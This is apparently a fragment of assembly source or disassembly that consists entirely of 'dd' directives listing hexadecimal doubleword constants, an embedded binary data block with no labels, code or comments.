		dd 0F0B09058h, 5F3FBD7h, 388EA91Dh, 9BC64E80h, 30D1E57Ch
		dd 0AE181F52h, 0C100D451h, 93EBD394h, 715FCBDAh, 366F0A5h
		dd 743DF5E0h, 80010E65h, 0A4AF4EF2h, 0C886AEA3h, 0E1298476h
		dd 0CC63287Ch, 889CE0F1h, 387EC959h, 0E0FAA8EEh, 0F8F10C51h
		dd 0B4E097E3h, 0E1E90C3Bh, 3ECE1058h, 0E00E4880h, 0E78ADE35h
		dd 4F97300h, 82CD9F57h,	117C60D7h, 1E42C526h, 0A0FC9C0Eh
		dd 2ACD00AEh, 391D42Dh,	0CE993873h, 6900EC48h, 78DA61Fh
		dd 0ECFD1DCh, 0F3478B68h, 779CFAE0h, 3F74570Ch,	0D1CEA4A8h
		dd 0A3627300h, 0E41F9B16h, 60FB0ACh, 4CD780CDh,	9D1E80FAh
		dd 18B3871Ch, 8AE3E7FCh, 7548100Dh, 0B0C50077h,	5F9E872Ah
		dd 5AAD00F0h, 24C973FAh, 28015778h, 8ECCEE85h, 0A8EF2092h
		dd 0F8CD0ADh, 9AD84AF3h, 0DAE244E0h, 0DD1F15C6h, 603CBB82h
		dd 8F228418h, 89D15CDh,	27B02071h, 86801426h, 9DD23A6Fh
		dd 9E13AF00h, 0B6CF88C6h, 0DF534607h, 43C08031h, 0AE3E6Ch
		dd 8140CD10h, 54719498h, 0CD9DD221h, 0D403C881h, 1450D381h
		dd 0FC6AEFEh, 0C85837CFh, 1D566580h, 0F2A0A973h, 520085E2h
		dd 6C78B3CAh, 158832EDh, 349E2EC4h, 42DD0865h, 42243B80h
		dd 0F3A0A135h, 243475C8h, 6166CF00h, 5F653A4Ch,	4864C48h
		dd 0D11C0CEAh, 12B51013h, 71DCDh, 3A19411Ch, 6D769012h
		dd 0ED1CC2A0h, 71243C03h, 21069CB6h, 0C3088D29h, 3DF98846h
		dd 4222C69Ch, 5ABB11D9h, 2228F528h, 5220A99h, 14895018h
		dd 8628A041h, 8F18904h,	0BD5F4443h, 476D14A1h, 499DA850h
		dd 884EDD01h, 0F2805147h, 0F685315Fh, 0DB121680h, 0FEA490h
		dd 0C49B0AEDh, 0F4008881h, 59342267h, 5DE680Ch,	748D5BBEh
		dd 2C3CC0E2h, 0C41FAF72h, 0FD9E3B91h, 33314400h, 0AB9C78h
		dd 7CB3545Fh, 29791FCEh, 0A0AA3603h, 0D8144584h, 384F2EB1h
		dd 4A037877h, 0DBC95A4Ch, 3B0F31A8h, 82FEBE00h,	0DAA1B67Bh
		dd 0EF861E8Eh, 781E8164h, 0C8FA2CDCh, 0FC3F5C61h, 0D9BA80C5h
		dd 0AB33CB86h, 0C8A600EBh, 0B70A0D8Dh, 0DB373590h, 98E0426Dh
		dd 5FB05Bh, 893F3321h, 3D900C65h, 0F174EF00h, 0F9D5C472h
		dd 1D700DAh, 584B8831h,	390235FFh, 0E7A2439Eh, 0E2AAE09Ch
		dd 57481F0Fh, 2B930125h, 0EC04DCAEh, 9D00F7C5h,	0B73B5A92h
		dd 600173h, 0AA770F26h
		dd 2CB6F13Eh, 48E8D300h, 802F685Ch, 86710E5Bh, 46A04A0Bh
		dd 11439CB8h, 68C79475h, 0B0B0AB75h, 601B45F3h,	718958ACh
		dd 980097A1h, 806849E9h, 0B0FF9Fh, 9506E772h, 8A2C0D3Dh
		dd 782D2730h, 1422D7h, 1BD87A76h, 0FC546556h, 0A1FB640Ch
		dd 203670A3h, 0D654B924h, 0B2015A6Ch, 0CFD073E8h, 6C0293Fh
		dd 0E3754Fh, 75FAD586h,	0B1B98291h, 6149F603h, 0E8A49D2Eh
		dd 0F8E2412h, 4600DF9h,	0B5060B40h, 230022ABh, 0C5D57DECh
		dd 7FAFA6h, 0AD1FF40h, 61C852CFh, 389ADF01h, 6C5E3CB9h
		dd 14D29E0h, 8566B3A6h,	807E6AB8h, 0FF8FD660h, 0EA77A165h
		dd 0A8404B51h, 0E3A60078h, 2C90090Ch, 16050FDFh, 3FE01F6Eh
		dd 6CE59DEFh, 0F5DBF000h, 8B5334D9h, 3B380032h,	0A1B5C3B3h
		dd 0D600FFC7h, 76A3674Ch, 14D3A90h, 99C82338h, 0DC20B361h
		dd 470049EAh, 1FB5E2D7h, 85B6F2h, 3F264D8Dh, 7535EDBAh
		dd 0D80EC300h, 74A26651h, 0D76B0078h, 0E90D5A10h, 0AD00BACCh
		dd 0ABC450F8h, 0A46918h, 90A37E8h, 0CF5FED85h, 8B9A7A50h
		dd 7EA8931Fh, 1E2B51C0h, 9E6C267h, 357F1243h, 0F7E08F0Fh
		dd 5DED726Fh, 0FD938903h, 0F858B97Dh, 96D6E56h,	372A5B04h
		dd 91022016h, 0BCE993A4h, 1810402Ch, 19F90796h,	0F1C76B29h
		dd 20A64267h, 6420150Ch, 0FB8940B8h, 9730251Dh,	20A68A80h
		dd 3B6A16F5h, 58981ECFh, 0F80C2E55h, 77066F00h,	2ADF8FDDh
		dd 0C80E01D0h, 0E61442E3h, 0F4ECE0C9h, 49768500h, 26C6BE1Ch
		dd 6F440F9Eh, 0E6604090h, 0BFE33D93h, 0AE65A400h, 987773E9h
		dd 129B7488h, 1E6D90Ah,	137F019Ch, 7EE84795h, 7E009AAFh
		dd 5E9FC763h, 28051238h, 0DF77D45Dh, 25A94010h,	61C23100h
		dd 0ADE3D256h, 0D00A4Ch, 0BC5AFFA4h, 0F7C21F6h,	0CC3ED659h
		dd 6C3FA061h, 0B4A80F5h, 3119E596h, 9F2B004Ch, 0E797E8A5h
		dd 0CD50C23Ch, 0C3000AD4h, 0D8935706h, 236768Bh, 0CFC9C639h
		dd 0D881A9E3h, 0E5B4747Bh, 5EA8407Dh, 0EC00302Fh, 0CB918903h
		dd 1A5D6h, 7E72A4BDh, 0F25D1AA9h, 0D7F88D00h, 2ED4CCB5h
		dd 85ED0796h, 10D860F7h, 98FF5289h, 3622F800h, 3E533F0h
		dd 12B000A5h, 0E2A856AEh, 46008F49h, 81A977FFh,	6D71DEh
		dd 79073F97h, 2D524C5Eh, 0A0045F00h, 0FE9E19FAh, 1D501ED3h
		dd 0C5AD40AFh, 546831C9h, 4690E600h, 797355E0h,	891000B5h
		dd 0CC8F6DA8h, 1F001EBFh, 2E94154Ah, 0B59F922h,	0D61D3930h
		dd 0FB8CB7C0h, 0EAA1F8FBh, 89BA80Bh, 0B01803ADh, 0E687F082h
		dd 41F4001Bh, 9DB962A5h, 0E690E4B8h, 0BE00767Ch, 6C65B52Ah
		dd 0B89C5B3Fh, 0C67B09FCh, 54805C89h, 8E63ABE4h, 58D0700h
		dd 15ED2722h, 0EB110047h, 0CEB15535h, 520068D5h, 7DE5B42h
		dd 4831820Dh, 5C008CB4h, 54D757CBh, 0E4D5070h, 285A0780h
		dd 11A274C5h, 0D09C4065h, 5C3C07A9h, 0F0436096h, 846A37EEh
		dd 8A750C00h, 51CE8D65h, 0F17624CBh, 9BBA00ACh,	1C9697B9h
		dd 50B0C924h, 81B42F41h, 0DDE414FDh, 3B2A0030h,	0B1E9B746h
		dd 170CBF9Fh, 20ED9567h, 0B280000Dh, 0FF017DC5h, 6B0FB507h
		dd 0C14B3730h, 4FF808FDh, 8D90CCh, 0FF6C8C95h, 0E8097F34h
		dd 257A007h, 9250FAA9h,	70E58BF1h, 4350B20h, 0C20314DCh
		dd 44A0670Dh, 0A300CA32h, 3C2D6B1Fh, 489519D7h,	0C8002813h
		dd 0FD4865D0h, 6F137C60h, 800A194h, 0ECD1C72Dh,	0B9640028h
		dd 5A078488h, 0FA26532Bh, 0AE04F87Bh, 0B980261Bh, 0E05245Dh
		dd 0E20B7D43h, 488F5020h, 86004679h, 0BCAA7F29h, 0B905F5h
		dd 0BE21A0D4h, 0E9FEB1DCh, 0B50E000h, 4933F81Dh, 0F9932E03h
		dd 16BF018Fh, 605FF0FDh, 6303DB4Ch, 0B67F7094h,	0E272D040h
		dd 0BB1B016Fh, 0AC83DDCh, 0FEF2D06Eh, 690CF2A0h, 928DEE01h
		dd 0B304B4E1h, 979EA40h, 0BB170FC1h, 409F63A8h,	4E569E77h
		dd 600185FEh, 261AB0DBh, 35F44D82h, 0A85A008Ch,	547A3D1Fh
		dd 320076C3h, 12EAAF14h, 2D4AD0h, 61355DBAh, 0C3D46271h
		dd 95F53Bh, 2CAA969Ch, 4C3908h,	6CD9E4AEh, 6AAB3EBEh, 80305E3Dh
		dd 0EE157F17h, 31B34A3h, 14D1CC74h, 4DD072E8h, 0F9EA0880h
		dd 9E91A81Eh, 0E175BA00h, 14F8784Eh, 94ABB7DDh,	87E0EE00h
		dd 9FCA015h, 4B106E04h,	3AC3F971h, 0AAADC853h, 77F34C0Bh
		dd 7DDE4600h, 961B8AF4h, 1C88E100h, 839AC844h, 0A4A61DE2h
		dd 70D04099h, 0BB61476Ah, 0AB490203h, 0C8A3F476h, 12CF588Eh
		dd 5252B2Dh, 0C0C11A30h, 107292B3h, 6F0088E0h, 99174E38h
		dd 1DEFBC94h, 0C3DEC8CEh, 0EC5650D0h, 390D0B90h, 1DCA7B3Eh
		dd 14008D1h, 0E44E95Eh,	94B001E8h, 36D0976h, 152F304Ch
		dd 0CFECEA00h, 3DFC789Ah, 919B0063h, 6E23E429h,	35006573h
		dd 7167986Dh, 31EE2Dh, 698CFD89h, 8097279Ah, 0CC737000h
		dd 4C6EE555h, 26094CE8h, 0DDF6031Ch, 0EE66017Fh, 20A07C69h
		dd 211DC578h, 3BC0554Ch, 5EFCF170h, 0CBAC0011h,	2D2E3323h
		dd 0CD0BD4C8h, 8F16669Dh, 7335A073h, 0F2C96D7Ah, 0BEF301C0h
		dd 0A296A1ADh, 0C75EECA3h, 0B9157890h, 1EC04576h, 0A6402EF3h
		dd 0EB1417E7h, 0F90A0F24h, 3847C640h, 4E98D093h, 0CF3D6C52h
		dd 0F1AA0B45h, 5F2F80F8h, 583C656Fh, 1C0B0885h,	0E7819418h
		dd 7072B101h, 0AE1D623Fh, 3240D1A3h, 94F0811Ah,	0A87B9Ah
		dd 0FEB83782h, 41E46D84h, 601CBF26h, 6CCB6F01h,	0BC309DA0h
		dd 2FC700BAh, 21525965h, 0E201841Ah, 0D985E64Ah, 78818261h
		dd 473E8B67h, 9DFC30A2h, 796E0E00h, 0A96A2F68h,	8F674886h
		dd 0A5B8C003h, 9EA1DA54h, 6134E48Ch, 3A0100B8h,	87A82416h
		dd 0A0BED7F0h, 8090B698h, 0EE12E6E3h, 1A000B18h, 13B72703h
		dd 64A00FCh, 38FE5EA0h,	31017240h, 71BDCE6Bh, 24D8B6ADh
		dd 0ECC124BCh, 0ED9E0040h, 18A9A2CCh, 1D36B300h, 892574BEh
		dd 4B1C1E43h, 788C06Dh,	4851BB70h, 9DE4593Eh, 7E7BFBDCh
		dd 0A24AC800h, 17C311CDh, 0A6C507A0h, 31ABCB0Fh, 60C9C72Ah
		dd 50003D14h, 78BD7FDEh, 60048D41h, 827276BAh, 33000ED1h
		dd 0D29E3F4Ch, 7CF8F03h, 0B66DBEBFh, 71E252BCh,	0D33868E0h
		dd 3B0340E8h, 0A757F772h, 1B7CD020h, 66E300D4h,	0BAF98BD6h
		dd 6391DC6h, 0EBC34h, 0E1C967A4h, 2E417BF7h, 800884D8h
		dd 310FCC81h, 88B89642h, 19646904h, 790368A1h, 90AFE95Ah
		dd 4D8435FCh, 280C9900h, 0CA1E34E2h, 7ED10701h,	0B06D556Ah
		dd 888CF568h, 2D94050Eh, 807A094Dh, 212049A3h, 0C4D00B7Fh
		dd 8887D6F9h, 0D2F025C2h, 6448AEE8h, 0A184429h,	0D711BCCBh
		dd 11A200B2h, 71C1BFB3h, 55038370h, 0EB8510FEh,	3897E9ADh
		dd 1C043C2Ch, 0B008999Fh, 7200A834h, 0C72E4821h, 492520BAh
		dd 2B0244CEh, 0C53A016Bh, 69778C58h, 800ACC04h,	3890AA29h
		dd 0E78387Dh, 692C7F6Ch, 6D96B9E2h, 3AC48880h, 15245379h
		dd 4604CCBBh, 0B8A0610Ah, 0B8AA07E5h, 90CC20h, 0E695402Eh
		dd 0C13E841Fh, 4686F70Eh, 0A0F0AEh, 0FABD19C2h,	28BAB585h
		dd 48F02460h, 12DD63h, 0FF8E89FCh, 446B6FCEh, 1B748475h
		dd 50078FAh, 6E169CDFh,	0F48CB377h, 985F00DCh, 88F32F9Fh
		dd 9EF814D2h, 307BE700h, 0D79778EBh, 0E1320034h, 9D2D9304h
		dd 20F3D8B6h, 0D1093F03h, 8F70D580h, 46234070h,	1E56CF60h
		dd 1359811Eh, 0A48D00BAh, 0CA6264C8h, 0A500277Bh, 4F42C665h
		dd 1E6A1702h, 553E2DAh,	7D0B08Fh, 0A1CFF2F7h, 4067CDACh
		dd 0F5B56D9Ch
		dd 588D5203h, 0B821E7D1h, 3D5688F8h, 6883DA91h,	782E3A4Dh
		dd 0A5C944F8h, 6924E807h, 51089B8h, 4FE76Eh, 0B1D850Dh
		dd 0D3FE2814h, 0EAC02490h, 0D8935633h, 4412007Eh, 7B84CB3Fh
		dd 6772D3E4h, 7108D48h,	0CFCABA5Fh, 48171EA0h, 40C70007h
		dd 970C54Bh, 6028514Ch,	9802E4F1h, 30CF9E02h, 0E47110h
		dd 78EAE9AFh, 5E0E52C9h, 0C0493873h, 705A0297h,	42B007ADh
		dd 531B61h, 9CD47DAAh, 7A8EE300h, 0C39657B7h, 0A6693C2Dh
		dd 0AFA51Eh, 33149750h,	0D300E647h, 8D760B12h, 0E06AA79Eh
		dd 0A1FD03E1h, 276917DDh, 7CDA44A8h, 0D4995E00h, 4D31D740h
		dd 90700ABh, 23781382h,	0C09D5FAh, 373BFCBh, 0C34CE04Ah
		dd 0C1CF9884h, 0B357487h, 418A9B6Dh, 21F54080h,	9400A132h
		dd 30D5B683h, 0E2EB565Ch, 8CF800C8h, 0AC98A46Eh, 5A00FE7Eh
		dd 0FAF01EABh, 0D53F47h, 0DBF4E39Ah, 0D4920C50h, 0AEB2A704h
		dd 0B901280Dh, 209AD1CBh, 0C007E44h, 0C90479B4h, 0EE62BDBFh
		dd 5C060960h, 0C8000193h, 537345D5h, 0EA847700h, 8B81E7A2h
		dd 0BEE4ED3Bh, 0FCFED2h, 2D5A1FCFh, 39D88EA9h, 0C7735800h
		dd 0BAF2BDE3h, 0EA540156h, 367C1949h, 0FA802EB0h, 773598h
		dd 75289FDEh, 0BC4EE3A0h, 5D5D7F26h, 0D0437A00h, 4C4D60Bh
		dd 125C0584h, 0A909C362h, 1CE67DD8h, 0B3675000h, 0E5EC31C4h
		dd 26130044h, 422E746Dh, 9D0080F9h, 0D9DF7E1Fh,	5A541057h
		dd 0AD000714h, 0A86D7049h, 90038E3h, 63D98704h,	7FB8BD3h
		dd 9B303585h, 0DDBE11A5h, 0FDB3E4A3h, 55628A16h, 0DBC80200h
		dd 2A905C6h, 753C2AFEh,	8E0BB86h, 5D426BA1h, 0F802223Dh
		dd 55293735h, 20403842h, 0A4006A2Ah, 0C41B3977h, 573A634h
		dd 0D62EEAB0h, 8188D028h, 0DB00C955h, 0F266ED20h, 21D38h
		dd 40681F45h, 0CCAB718Fh, 85F69500h, 9BC93380h,	0B6990055h
		dd 47FE5951h, 0A603A44Ah, 709EDC25h, 3A80CC0Ch,	9ADBD892h
		dd 2FF70084h, 0D60426ADh, 515163E3h, 0F494F8F4h, 2C291700h
		dd 83F88DC7h, 6AC0000Fh, 8A93A77Ah, 500E944Fh, 9D14166Fh
		dd 171C1BC0h, 7598F971h, 26870F90h, 20585D13h, 6E77E8A1h
		dd 5895CA00h, 4C6B0FB4h, 0CEC600CBh, 577BE47h, 48126E1Ch
		dd 28009CDAh, 2D49099Bh, 0F35900E5h, 1AB02503h,	0E800AF4Bh
		dd 5419603Fh, 13A25E0Ch, 402DFECCh, 55D60DFCh, 7700AE72h
		dd 14C206B1h, 7FF70B58h, 88AD00B0h, 984D9A6Dh, 4B54A430h
		dd 0E70089FCh, 0D25E9A9h, 0FC2B2F80h, 33EB043Ch, 0C0D5DE48h
		dd 62C73E60h, 0D90A1198h, 84767E56h, 6B39A804h,	14189080h
		dd 4ED601D0h, 67CE6982h, 8E68F055h, 0A851ED01h,	98B6E6F1h
		dd 9C72EF70h, 2DA30020h, 69B7825Fh, 0C44738h, 37FC90D6h
		dd 1CCD0AB2h, 458D5EC3h, 8021DC87h, 9AA38BBh, 511F42FCh
		dd 34C0726Ah, 0DEFF4B9Ch, 571D2455h, 4D5D0244h,	52E05643h
		dd 0A51CEA34h, 0C7C0F0BFh, 871C6653h, 5F7600D0h, 5D7723B2h
		dd 2C035EB5h, 96B0FB8Fh, 0B675A074h, 0CF830065h, 9B1A37Ah
		dd 5598DBCCh, 6A749A06h, 7CABBDCh, 0D4DA900Ah, 0C2ABE1FDh
		dd 342859h, 672AEAE5h, 1D0A6A92h, 40761605h, 37591E0Eh
		dd 2D0090B8h, 3B9C83E8h, 773DB0BEh, 77BC00F5h, 0CF812BCDh
		dd 4B26F3C4h, 173F0515h, 1D005250h, 40D0E557h, 982BE4DFh
		dd 0C46C0090h, 2AA5F474h, 696F251Ch, 12CF8080h,	310E69Dh
		dd 59F8D5CBh, 0A5E0B9CEh, 0A2747E2Bh, 521C2115h, 40292018h
		dd 8C3D7B8h, 32BEE241h,	0F648D820h, 0EB66EB40h,	0EE014807h
		dd 0D720444Eh, 7E9FA4D9h, 0A91107DBh, 0DF8A2Bh,	0AFC143CBh
		dd 0D246D507h, 58C0BC24h, 6115FEA6h, 0A5A031CEh, 5191CD1Fh
		dd 9968949Ch, 2CA8EB91h, 0C7CFBF0h, 9D6BCE28h, 0C1013FF0h
		dd 0BA43F30Eh, 8AD44867h, 896300EBh, 80C5173Ch,	0D8E3A0FEh
		dd 1E003DA7h, 6C549B2Dh, 14091Fh, 0ADBFD6A2h, 0B79C088Ch
		dd 18A5CF0Eh, 23F5404Ch, 1DE1B840h, 6E6C2F53h, 443C031Ah
		dd 41E83E67h, 980CA935h, 0B1C865F0h, 0B04A75Dh,	0F901A4D8h
		dd 0D84CA8E4h, 0C9FB90C5h, 0FBE6F0DBh, 3DD5C107h, 88B7C0FCh
		dd 84F328A0h, 0BBE21C90h, 958A0089h, 0A8BEF8ECh, 6D343B00h
		dd 7D90F29Fh, 699E6327h, 0B4F8371Ah, 0C80C9C43h, 8D4392Bh
		dd 7389631h, 0C0A7AF79h, 727DD98Ch, 0E96D980Ch,	8DA92Eh
		dd 7FA01A45h, 0CE124B26h, 0CF93C700h, 226E7C80h, 4BA3F2Dh
		dd 53F7AE01h, 80A035BCh, 0A189F4D8h, 49117F9Fh,	7B2048h
		dd 6E1760E9h, 0FC97B06Ah, 0A02F8400h, 0F0A6F85Eh, 88920011h
		dd 3F6A5BCAh, 7C14F54Eh, 0E120109Eh, 0FA184A29h, 0C0F16C12h
		dd 76BD1420h, 0D7D3016Eh, 109DCB78h, 0EA089829h, 0DECF21h
		dd 0FE7F16Eh, 0CCBD42BBh, 2D169090h, 4D01230Eh,	61D778A5h
		dd 4CA1E882h, 8080CCD2h, 90E37FA7h, 2B47956h, 43A0A82Bh
		dd 102D31FCh, 3A7A35Dh,	0EA268CE9h, 0C828272Ch,	7A46D89Dh
		dd 0A5A7FE05h, 4834C443h, 60803224h, 0B684A836h, 0BA776E2h
		dd 46BB3E42h, 91D36407h, 20CE04DCh, 83141C88h, 238C1A9Eh
		dd 0F87418EFh, 8CA728D7h, 0BEED03Ch, 5C3EF500h,	0A3914A42h
		dd 5E563BC9h, 20CC108Ah, 6CF705F4h, 722C209Dh, 0D8E2D76Eh
		dd 0D3F5448Ch, 336E7A02h, 40EB0477h, 24C8A269h,	2C00D4Ch
		dd 0D1F1E4C3h, 6F53B082h, 28607C04h, 4323B7A8h,	2E11D4h
		dd 0EEA7A07Ah, 0F0C694F2h, 14784CEDh, 0DDC0CC8Fh, 7C93A62Bh
		dd 0EB66947Eh, 21B908h,	81DDB829h, 932132DCh, 0CE33B1C3h
		dd 0C4D5C06Dh, 3029FC1Ch, 0ABB69F3Bh, 7E90DF15h, 0A030327Bh
		dd 752A08DEh, 2FF013B9h, 0BD4C00CEh, 77E34BE2h,	0DF692360h
		dd 2C61A0h, 0A8275211h,	2C586D7h, 41CE4F01h, 0CB50EB6Bh
		dd 923A518Ch, 8B609F89h, 0C9F17C69h, 0B77618C0h, 9CBC70E2h
		dd 0C3197BF4h, 0EFF86EDAh, 0DD08A218h, 0C4C3A5FDh, 0F0053B8h
		dd 439324DDh, 0DC701F8Ch, 99D88EA9h, 500118E9h,	0D3780942h
		dd 32D93109h, 0B68C0003h, 9006B7AFh, 92CCA004h,	6A5F0E98h
		dd 8260F69Fh, 3990C98Ch, 482FE030h, 0FA88459Ch,	489B5973h
		dd 4D011F00h, 0AD12A02Ch, 1320F700h, 662B5FD4h,	0F47F0CFFh
		dd 82784F7Ch, 36988762h, 4C6445h, 8C51D6DFh, 68F434C4h
		dd 85CBC32h, 1F054F9h, 6651F20Ah, 1BE0DE06h, 0D90D3180h
		dd 907D48A1h, 44AD5088h, 7551F160h, 225C46C4h, 88FF00E3h
		dd 9CFD151h, 550069F3h,	0CCE16312h, 0A123D40Ch,	0EC235384h
		dd 1EC9EE00h, 1948A760h, 82CAA13Ch, 63FCAC06h, 2E10482Bh
		dd 2D39084Ch, 9080BC78h, 0F745CA03h, 0BB7D009Dh, 0D57F28A8h
		dd 4C066D89h, 3014E9CFh, 0B9A50060h, 0C8331243h, 64EC8C93h
		dd 0BA1C1CBEh, 0D48A7F80h, 4E6F1Fh, 3A702649h, 0FBE4E65Bh
		dd 741E7601h, 0A1FF22DCh, 4304C023h, 62F755E3h,	0A7FD307Bh
		dd 0C43A208h, 403064C9h, 9EA8355Fh, 8B2600E4h, 0E9D7B5B6h
		dd 0B0C12908h, 31C0FC4h, 0E1DC9443h, 51011850h,	0F920219Bh
		dd 3210862Ah, 0BC96620h, 0C58899DAh, 0C66D0807h, 0A248416Fh
		dd 8CB1E874h, 8070A03Bh, 5939C7F9h, 5C0D91EEh, 72811827h
		dd 0D4437D99h, 0EF3A53D9h, 0B6FA123Eh, 109F044Ch, 0C086035Dh
		dd 3BECA4CBh, 0DAACC0C4h, 4100581Eh, 0CCBBC5D5h, 99772F52h
		dd 5E12BA54h, 0A0380875h, 7651F0C0h, 228446C4h,	0EBFC00F8h
		dd 43553851h, 0E850C5DBh, 0B01605CCh, 480AC4BFh, 1D0B86DAh
		dd 184481D7h, 18895C78h
		dd 0ACB02143h, 0DF5690E4h, 0A82902E4h, 312C43A6h, 0A15B102Dh
		dd 387602A7h, 2CC091C7h, 70A0464h, 0D8640A97h, 0D4140816h
		dd 8CDBECA4h, 0AD3C4C04h, 9C8A226Bh, 66409E00h,	77AC4D2Eh
		dd 9FE02054h, 740A0400h, 0B31BAED4h, 424B0ADEh,	9C668DFh
		dd 0FC87BEF2h, 4274CA90h, 9341A82Ah, 221866A4h,	0A25C132Fh
		dd 0F79D05A7h, 236C8A5Fh, 6E6F019Eh, 1870D7D6h,	77D288F6h
		dd 2F616E01h, 5BC11288h, 0DFE81980h, 0B1528A15h, 8C81FC00h
		dd 85749BCFh, 5FC8144Eh, 0D80AD8BCh, 41A0A16Dh,	5819F732h
		dd 2077B7E0h, 0C1C08018h, 24132130h, 1FFC47FAh,	0E9500CA7h
		dd 1EF8E018h, 2814D248h, 0A446CC2Bh, 7251D402h,	9867E4C4h
		dd 481C0812h, 10D99100h, 2AD5A997h, 0FAC02577h,	37EE0F18h
		dd 929F3B39h, 642CD045h, 94387F57h, 8AA09DB6h, 0A0DA050Bh
		dd 8DDEAD2Ch, 0BC180745h, 0F73BF3CCh, 5C0E7BC5h, 0A033B8A0h
		dd 0CCA8443Eh, 0BA8093C2h, 0B9050970h, 0A40B8D01h, 13916897h
		dd 2435AC80h, 8202EFCEh, 0F32267Ch, 3A944C1Ah, 0B082D940h
		dd 2CDC041Fh, 60ECFCA4h, 23D46E75h, 6311E0D7h, 6EDDD001h
		dd 209B4DC9h, 3126C090h, 70A6D004h, 13B8BF09h, 7160AC28h
		dd 0D77AD86Eh, 0D4E8448Ch, 0A06E7900h, 0E7EE301Ah, 60263E0Bh
		dd 80F0F3A4h, 0C6FB15E3h, 0FACCAA93h, 525F18CDh, 0F6B234FAh
		dd 4153830h, 4C9B5060h,	0ECF0A0D6h, 78DA7512h, 2FC0FCD7h
		dd 18B1056h, 7CD1CA14h,	51D9CDC9h, 871E85F4h, 0E3585E29h
		dd 0E40D04A1h, 9DD40AD9h, 74333F09h, 24577985h,	0A6E440C8h
		dd 17D2634Ch, 419D6400h, 0D929FEC1h, 189FE8EFh,	0A957C23Fh
		dd 0CE7A4DCAh, 3C4F2801h, 2F45097Eh, 0C04024h, 1016C205h
		dd 0F654DDFAh, 3A0E1971h, 0E1CF46CBh, 76FDD3EFh, 24264832h
		dd 0E58E4074h, 5000A55Eh, 741C050Eh, 1DC1CDB5h,	196F8A8h
		dd 0CC2495FAh, 0BCA028F1h, 0D4128C61h, 0F8D4A26Dh, 2842308Ah
		dd 513063A2h, 58E64990h, 0D493809Eh, 88ED20B9h,	0E9E73C09h
		dd 0C79062C4h, 80D14E98h, 0B5CCF0A1h, 0F34C02FAh, 9F8FF190h
		dd 0A7CD06Ch, 465C7C96h, 7FA80014h, 0EB5866F1h,	0B3BB28A4h
		dd 20709820h, 0C400E069h, 48EFC672h, 4A98028Dh,	0A2700067h
		dd 9666B2CFh, 1C9E1E0Ah, 0B552A8D8h, 611B807Ch,	1348237Bh
		dd 2B92D909h, 0CF1C6D66h, 47C41CE1h, 148828FBh,	10C0FD5Eh
		dd 0E2C044A2h, 0D4C47051h, 0EEC28CB1h, 1FD068EDh, 45264A5Fh
		dd 809C88ACh, 6D09BCB4h, 38120A00h, 45907E30h, 4A692CE3h
		dd 98D1304h, 6097FB40h,	9A80E991h, 0CAC5251Fh, 17585D09h
		dd 9824024Ah, 71B6002Ch, 643031B8h, 448D1013h, 0C0C75DA8h
		dd 5001D2B8h, 76CE5B12h, 0D8CCACD0h, 27AF2EB6h,	68F18A04h
		dd 18ED749Ch, 749D0062h, 0C42B1B07h, 0AB2ABC1Dh, 0E448847Fh
		dd 8C31BC58h, 837CF607h, 6D414971h, 918048A6h, 8A961B8Dh
		dd 0B8B1DEC3h, 0CA32E38Eh, 6E86AC5Ch, 15312DA2h, 0E82FF4CCh
		dd 7D670500h, 3346A992h, 0C5E028A0h, 0A3E5611Eh, 34B1A700h
		dd 2BCC07Ch, 3922F48Ch,	5CCC3512h, 0F440C14Ah, 404606EAh
		dd 0F8391292h, 8C643044h, 3A016917h, 4B4601C0h,	142747B2h
		dd 23DC2B4Bh, 42200E7h,	0E1B10BFBh, 3FD08F48h, 0F4D6867Bh
		dd 1EE01F93h, 9FCBAD12h, 0B42CC2DFh, 0FAC09606h, 3824E9D7h
		dd 4C2C64C7h, 0F84674h,	6D92420h, 91C3ACEh, 1F78A671h
		dd 0D9E78443h, 1D325818h, 9BC06CA3h, 6B1445DAh,	50803CAAh
		dd 1C8CEBF0h, 0D129DDA6h, 83BB88A3h, 95DD9E0Fh,	0D1B78DA0h
		dd 0C20170B8h, 453CAFD9h, 0F89E6CBBh, 0F01725DAh, 8380E091h
		dd 0A256ED93h, 3763E500h, 43294158h, 0F0325DBAh, 8497E627h
		dd 91801491h, 1B259FE8h, 45CDCA0Ch, 0E12D9936h,	0C884F8h
		dd 60A62627h, 11CDC5E7h, 73D7EB04h, 0D6C08DFEh,	4D6B43F0h
		dd 2313CCB2h, 0C1D861B6h, 880504CCh, 108A2709h,	14ACC45Ch
		dd 8A68008Ch, 39FC694Ch, 0B61D8B1Ah, 0A08CD812h, 3EA7587Ch
		dd 910CEF21h, 1278A288h, 823E1DF8h, 93C33EB2h, 0AC8028E2h
		dd 0B8C2E0F2h, 79889188h, 46F1864h, 27198B4Eh, 0E4BC9830h
		dd 465C4494h, 1FF80014h, 972C05F7h, 24454CAEh, 82B97784h
		dd 40CC1C8Ah, 21354437h, 30913BB0h, 0C7FB074Eh,	0D01E09B3h
		dd 3FD202B7h, 0FCA27B2Ch, 8949F63Eh, 0DDB48068h, 99F3A627h
		dd 0EC2DC0C4h, 101D4DDh, 8F4EC5F2h, 57DC1D83h, 0D4CB48B6h
		dd 452DDC13h, 902747FCh, 0B0259DB0h, 43B824F1h,	21089048h
		dd 0AC483CB8h, 8CB6E8h,	3777F2A4h, 3867728Ah, 8083862Ch
		dd 0ECECFB1Dh, 11E817ADh, 26C09CE8h, 0B9F59AE1h, 13915A45h
		dd 8020DB38h, 0D5969175h, 16557961h, 8078E9DCh,	4DDBBC74h
		dd 7A05AC77h, 0CA248CE0h, 0FA7E8840h, 386ECD69h, 0B0F6006h
		dd 9A01443h, 8C91B2Ch, 22243048h, 0A7B600C4h, 2834C577h
		dd 0AC000DCDh, 268F994Ah, 0BCAF7391h, 2D465E10h, 87405809h
		dd 0CDA3E068h, 3F058h, 6C2D8E61h, 92ECAB78h, 6430856Ch
		dd 8BD26014h, 0B2F80104h, 80A08A4Eh, 48087C1Ch,	4302DB8h
		dd 508BC6E4h, 3700E3DEh, 9FC5133Ch, 12BC008Ah, 0F9EFF1A9h
		dd 0B300CD36h, 0CBB0E776h, 0F85B1EC6h, 0C8942643h, 0F94674C0h
		dd 24F12000h, 0C85340CDh, 0D94C18B0h, 0F8951070h, 6B78327Bh
		dd 88D1E4D9h, 1B182D71h, 995CA8B8h, 387094A0h, 63E2C323h
		dd 1099F30h, 2045EFEDh,	0F144E473h, 0A3A43CADh,	39A663h
		dd 0DF33DBECh, 0AD380C91h, 9CF3A000h, 0C20244B4h, 0D26E00F9h
		dd 6AF83280h, 0B09A9B88h, 69100500h, 0E91D50CBh, 0D14491BAh
